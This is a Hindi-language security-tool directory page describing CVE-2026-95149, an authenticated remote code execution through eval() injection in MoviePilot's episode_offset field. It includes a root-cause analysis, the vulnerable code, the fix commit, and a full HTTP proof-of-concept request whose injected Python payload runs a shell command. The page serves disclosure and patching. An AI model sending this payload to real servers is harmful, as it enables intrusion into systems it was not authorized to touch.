Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-95149 — CVE-2026-95149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और रूट-कॉज़ विश्लेषण, जो MoviePilot के FormatParser में episode_offset में eval() इंजेक्शन के माध्यम से एक प्रमाणित RCE है, HTTP PoC और फ़िक्स विवरण के साथ। | Kitploit
उपकरण/GitHubGitHub/reputati0n/cve-2026-95149
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषण
GitHubreputati0n/cve-2026-95149

CVE-2026-95149

CVE-2026-95149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और रूट-कॉज़ विश्लेषण, जो MoviePilot के FormatParser में episode_offset में eval() इंजेक्शन के माध्यम से एक प्रमाणित RCE है, HTTP PoC और फ़िक्स विवरण के साथ।

रिपॉजिटरी देखें
28 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-95149 — episode_offset में eval() इंजेक्शन के माध्यम से प्रमाणित RCE (MoviePilot FormatParser)

फ़ील्डमान
CVE IDCVE-2026-95149
उत्पादMoviePilot (jxxghp/MoviePilot)
प्रभावित संस्करण<= v3.0.0
इसमें ठीक किया गयाv3 शाखा — कमिट 65b9c777de9194e40ba29dc17345afc5b4b4b0ba
गंभीरताउच्च
हमले का वेक्टररिमोट, HTTP API के माध्यम से
आवश्यक विशेषाधिकारप्रमाणित प्रबंधन उपयोगकर्ता (एडमिन या प्रबंधन-भूमिका वाला खाता)
उपयोगकर्ता इंटरैक्शनकोई नहीं
रिपोर्ट किया गया2026-09-11
सार्वजनिक इश्यूjxxghp/MoviePilot#6644

मूल कारण

FormatParser एक मनमाना स्ट्रिंग स्वीकार करता है और केवल इस आधार पर शाखा बनाता है कि उसमें "EP" है या नहीं — यह कभी सत्यापित नहीं करता कि स्ट्रिंग का शेष भाग एक सुगठित अंकगणितीय व्यंजक है:

elif "EP" in offset:
    self.__offset = offset

इसके बाद कई डाउनस्ट्रीम शाखाएँ पाठ्य प्रतिस्थापन द्वारा एक Python व्यंजक बनाती हैं और उसका सीधे मूल्यांकन करती हैं:

start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part

int(...) रैपर केवल व्यंजक के वापसी मान को सीमित करता है; यह मूल्यांकन के दौरान होने वाले दुष्प्रभावों को नहीं रोकता। इसलिए पेलोड में अंतर्निहित कोई भी फ़ंक्शन कॉल, इम्पोर्ट या एट्रिब्यूट एक्सेस अंतिम मान को int में परिवर्तित किए जाने से पहले निष्पादित हो जाता है।

स्पष्ट शमन उपाय क्यों काम नहीं करता

एक सामान्य शमन प्रयास पेलोड को शून्य से गुणा करना है ताकि अंकगणितीय परिणाम संख्यात्मक बना रहे:

EP+__import__('os').system('touch /tmp/success')*0

यह अभी भी काम करता है। दुष्प्रभाव (कमांड का निष्पादन) मूल्यांकन के दौरान ही हो जाता है, अंतिम जोड़ को int में परिवर्तित किए जाने से बहुत पहले, इसलिए हमलावर के पास कमांड निष्पादन और एक ऐसा मान दोनों होते हैं जो int() प्रकार जाँच को पास कर लेता है।

POC

POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br

{
  "fileitem": {
    "storage": "local",
    "path": "/configured/media/file.mkv",
    "type": "file",
    "name": "file.mkv"
  },
  "episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}

किसी असुरक्षित इंस्टेंस पर, /tmp/success MoviePilot सेवा प्रक्रिया द्वारा बनाई जाती है। यदि API कॉल 200 नहीं लौटाता, तो int() कास्ट त्रुटि उत्पन्न करेगा — लेकिन इंजेक्ट किया गया कमांड पहले ही चल चुका होता है, इसलिए अनुरोध का परिणाम शोषण के लिए अप्रासंगिक है।

संदर्भ

  • अपस्ट्रीम इश्यू: https://github.com/jxxghp/MoviePilot/issues/6644
  • फ़िक्स कमिट: https://github.com/jxxghp/MoviePilot/commit/65b9c777de9194e40ba29dc17345afc5b4b4b0ba
  • असुरक्षित कोड पथ: app/application/formatting.py (v3.0.0 में पंक्तियाँ 102 और 184)
  • यहाँ से पहुँच योग्य: app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302
टूल डाउनलोड करें